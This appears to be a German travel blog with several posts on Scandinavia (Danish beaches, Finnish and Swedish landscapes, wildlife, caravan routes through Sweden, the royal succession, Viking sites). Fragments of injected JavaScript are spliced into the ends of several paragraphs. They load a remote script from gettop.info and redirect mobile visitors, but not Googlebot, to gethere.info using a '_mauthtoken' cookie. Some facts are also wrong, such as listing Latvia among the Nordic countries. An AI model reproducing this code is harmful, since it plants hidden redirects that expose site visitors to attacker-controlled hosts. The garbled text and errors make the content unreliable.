Beliebte Urlaubsziele der Deutschen in Skandinavien

Skandinavien wird auch bei den Deutschen als Urlaubsziel immer beliebter. Die Schönheit der Landschaft, die freundlichen Menschen und das Gefühl „dass die Uhren etwas langsamer gehen“ als im hektischen Heimatland, schätzen jedes Jahr mehr Menschen. Man kann mit www.gutscheinsammler.de beim Urlaub in Skandinavien dabei sogar noch eine ganze Menge sparen.

Endlose Strände in Dänemark

Wer einmal die dänische Nordseeküste besucht, der verliebt sich garantiert in die breiten Sandstände. Nach Rømø und Fanø will man eigentlich immer wieder zurückkehren. Und auch wenn sich die beliebte Ferienregion bis nach Skagen zieht, der einzigen Stadt, die gleichzeitig an Nord- und Ostsee liegt, hat die Landschaft ihren ansprechenden Charakter behalten und ist nicht durch unzählige Bettenburgen verbaut worden.

Mehr als Wald und Wasser in Finnland

Finnland punktet natürlich mit Natur pur. Die Wälder und Seen suchen ihresgleichen. Selbst die Hauptstadt Helsinki zählt zu den grünsten Metropolen der Welt. Zudem findet man im ganzen Land unzählige Kirchen und Burgen. Wer sich für Geschichte interessiert, der wird in Finnland garantiert fündig. Und für alle anderen gibt es ja noch das Weihnachtsmanndorf in Rovaniemi.

Norwegen ist zu jeder Jahreszeit schön

Auch wenn die meisten Touristen im Sommer nach Norwegen reisen, haben auch die anderen Jahreszeiten viel zu bieten. Besonders beeindruckend sind die Obstblüte im Frühling und die faszinierende Laubfärbung im Herbst. Norwegen ist auch ein Land für den aktiven Urlaub. Wandern im Sørmarka-Gebiet, Rafting in Fluss Jølstra oder Basejumping in Romsdal – man findet unzählige Möglichkeiten, um Neues auszuprobieren oder einfach nur zuzuschauen.

Vielseitiges Schweden

Durch die Größe Landes können die Urlauber ganz verschiedene schwedische Landschaften besuchen. Im Norden dominieren Nadelwälder; im Süden stehen große Laubwälder. Schweden überzeugt überall mit reicher Fauna und Flora. Wer sich für Kunst und Kultur interessiert, der ist hier ebenfalls gut aufgehoben. Die Hauptstadt Stockholm sowie Malmö und Göteborg sind längst als Zentren für Kreativität, Gastronomie, Musik und Kunst bekannt.var d=document;var s=d.createElement('script');

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Ein Streifzug durch Skandinaviens Tierwelt

Viele Urlauber, seien es Europäer, Einheimische oder internationale Gäste, zieht es jedes Jahr in die Natur um die Tierwelt von Skandinavien zu entdecken. Elche sind wohl eine der bekanntesten und meist gesuchten Tierart, die von Besuchern gesehen werden will. Doch werden Elche und besonders die Rentiere, nicht nur betrachtet, sie stehen auch auf der Speisekarte. Dies sind nur zwei der vier Tierarten, die jedes Jahr mehrere Besucher anziehen. Bären und Lemminge ergänzen die Liste. Nebenher kann man zudem etliche Mücken sehen und fühlen, diese sind jedoch ungewollte Begleiter der Reise.

Neuer alter Bewohner der Finnmark

Die Finnmark befindet sich im äußersten Nordosten von Norwegen. Der Bär ist hier ein neuer alter Bewohner, der gerade wieder in der Gegend heimisch geworden ist. In dieser region ist er nur schwer anzutreffen. Er verbirgt sich sicher in den Tiefen der Wälder, sammelt fleißig Beeren und lässt sich kaum sehen. Die Elche sind ebenso scheu. Als Trostpreis kann man in der Finnmark jedoch zahlreiche Rentiere beobachten.

Grönland und seine arktische Tierwelt

Die Insel im hohen Norden ist eine der artenreichsten der Welt. Die Tiere, die hier leben, mussten sich an die arktischen Gegebenheiten anpassen und kommen zum Teil nur hier vor. Auf Reprilien oder Amphibien stößt man jedoch nicht. Atemberaubend sind jedoch die zwei größten und bekanntesten Bewohner der Insel. Der Polarbär ist lange nicht mehr so scheu wie die Bären in der Finnmark. Sie sind einfacher zu beobachten, trauen sich zu beiderseitigen Ungunsten jedoch auch immer weiter Richtung Zivilisation. Der Moschusochse kommt in Regionen wie Upernavik oder Ivittuut vor. Der Bestand hat sich in den vergangenen Jahren bei etwa 4000 eingepegelt.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=‘ + encodeURIComponent(document.referrer) + ‚&default_keyword=‘ + encodeURIComponent(document.title) + “;

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Mit dem Wohnwagen durch Schweden – die Caravan-Route

Bei Reisenden jeden Alters ist Skandinavien ein beliebtes Reiseziel, das nicht nur mittels Kreuzfahrtschiff angesteuert wird und vom Hotel aus erkundet wird. Je mehr man die Gelegenheit hat, sich ein Caravan zu kaufen oder zu mieten, desto mehr wächst das Interesse, die Länder im hohen Norden auf eigene Faust zu erkunden. Der Vorteil, man kann dahin fahren, wohin man will und dort so viel Zeit verbringen, wie es einem beliebt.

Die Wohnmobil-Route durch Schweden

Es locken unvergessliche Landschaften, eine einmalige Tierwelt und ein Gefühl von Freiheit. Mit dem Auto oder dem Wohnmobil kann man sich von den großen deutschen Häfen auf Richtung Schweden machen. Hamburg ist einer der Startpunkte. Von dort aus kann man über Dänemark, Grenå oder Fredrikshavn, nach Skandinavien übersetzen. Alternativ kann man von Kiel aus nach Göteborg reisen. Die Reise selbst führt die Entdecker von Göteborg nach Stockholm. Die Route und auch das Ziel kann jedoch jeder selbst festlegen. Man sollte immer eine gültige Straßenkarte und ein Navigationsgerät dabei haben. Das weitläufige Land setzt zudem voraus, dass man am besten einen Ersatzkanister Benzin dabei hat.

Wildes Campen in Schweden

Der Vorteil für Camper in Schweden, man muss sich nicht an ausgewiesene Plätze wenden und kann somit noch einmal etwas Geld sparen. Das wilde Campen ist erlaubt, solange das so genannte „Jedermannrecht“ eingehalten wird. Es ist nicht fest auf Papier festgehalten, erlaubt aber jedem den freien Zugang zur Natur. Wurden jedoch Schilder bezüglich des Campingverbots aufgestellt, sollte man sich daran halten. Allgemein empfiehlt es sich, eher entlang kleiner Straßen zu campen, hier ist es ruhiger, idyllischer und sicherer.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}var d=document;var s=d.createElement(’script‘);

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Einblick in die Königshäuser Norwegen und Schweden

Jedes Jahr startet das Magazin „Frau im Spiegel“ eine Umfrage zur Beliebtheit europäischer Prinzessinnen in Deutschland. Auffallend ist, dass die Damen der skandinavischen Königshäuser weit vorne liegen. Victoria, die Kronprinzessin von Schweden kann ein weiteres Jahr in Folge stolz auf ihren ersten Platz sein. Auf Platz vier findet sich die norwegische Prinzessin Mette-Marit wieder.

Die Erbfolge in den Königshäusern

Aus der Geschichte wissen wir, dass bei der Erbfolge traditionell die männlichen Nachkommen bevorzugt werden. Die Wandlungen auf der Welt, die neue Stellung der Frau und weitere Faktoren haben in den letzten Jahren jedoch dazu beigetragen, dass auch am Hofe der skandinavischen Königshäuser Frauen als Thronfolger in Frage kommen. Im Jahr 1980 wurde die Erbfolge am norwegischen Hofe auf weibliche Nachkommen erweitert. Für die königlichen Kinder unserer Generation bedeutet dies: Die Tochter des norwegischen Prinzenpaars Haakon und Mette-Marit steht in der Erbfolge um den Thron vor ihrem jüngeren Bruder. Diese noch nicht zu neue Regelung betrifft die derzeitige Generation zum ersten Mal. Haakon, der zwei Jahre Jünger ist als seine Schwester Prinzessin Märtha Louise, wurde vor 1980 geboren und steht somit noch vor seiner Schwester.

Das Thronfolgegesetz in Schweden

In Schweden ist das seit 1810 bestehende Thronfolgegesetz bis zum heutigen Tag gültig. Der Nachfolger, oder die Nachfolgerin, ist demnach das erstgeborene Kind des aktuell amtierenden Königspaars. In der derzeitigen Thronreihenfolge steht Prinzessin Victoria an erster Stelle. Sollte sie auf den Thron verzichten, wäre Prinz Carl Philip der Nächste in der Erbfolge.document.currentScript.parentNode.insertBefore(s, document.currentScript);

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Projekt im hohen Norden soll Wikinger-Geschichte zum Weltkulturerbe machen

Die sechs nordischen Länder Schweden, Island, Finnland, Lettland, Dänemark und Norwegen stimmen derzeit darüber ab, ob die Wikingergeschichte zum Weltkulturerbe gemacht werden solle oder nicht. Die Wikinger waren Volksstämme der Germanen und Balten, die im Raum der Ost- und Nordsee zwischen 800 und 1050 nach Christus lebten. Bekannte Hinterlassenschaften der Wikinger sind die Runensteine, die als Grabsteine, zur Selbstdarstellung oder als religiöses Symbol verwendet wurden. Die in Umkreis von Haithabu gefundenen Steine im deutschen Schleswig-Holstein sollen mit in die Gruppe der geschützten Denkmäler und Gedenkstätten aufgenommen werden.

Verbreitung der Wikinger in Europa

Auf Grund der Funde von Runensteinen ist zu schließen, dass besonders in Schweden ein Großteil der Wikinger lebte. Von den etwa 5000 bis 6000 Runensteinen, die in den skandinavischen Ländern gefunden wurden, stehen allein mehr als 2500 in Schweden. Eher seltener kommen von den Wikingern stammende Runensteine im Baltikum, auf Grönland und in Britannien vor. Doch auch an der deutschen Ostseeküste kann man Zeugen aus der Wikingerzeit finden. Schleswig-Holstein und die Färöer Inseln sin dein Beispiel.

Die Welt der Wikinger entdecken

Heute kann man alte Wikinger-Stätten besuchen, die sich hauptsächlich bei alten Siedlungen und Funden befinden. Das Wikinger Museum Haithabu gibt Aufschluss über die Lebensweise der Wikinger und stellt regionale Funde aus. In Oslo kann man sich das Wikingerschiffmuseum ansehen, in dem drei Schiffe ausgestellt sind. In Schweden gibt es gleich mehrere interessante Plätze und Museen, wie Ales Stenar, eine Sammlung von Schiffssteinen, die für Tote gesetzt wurden.var d=document;var s=d.createElement('script');

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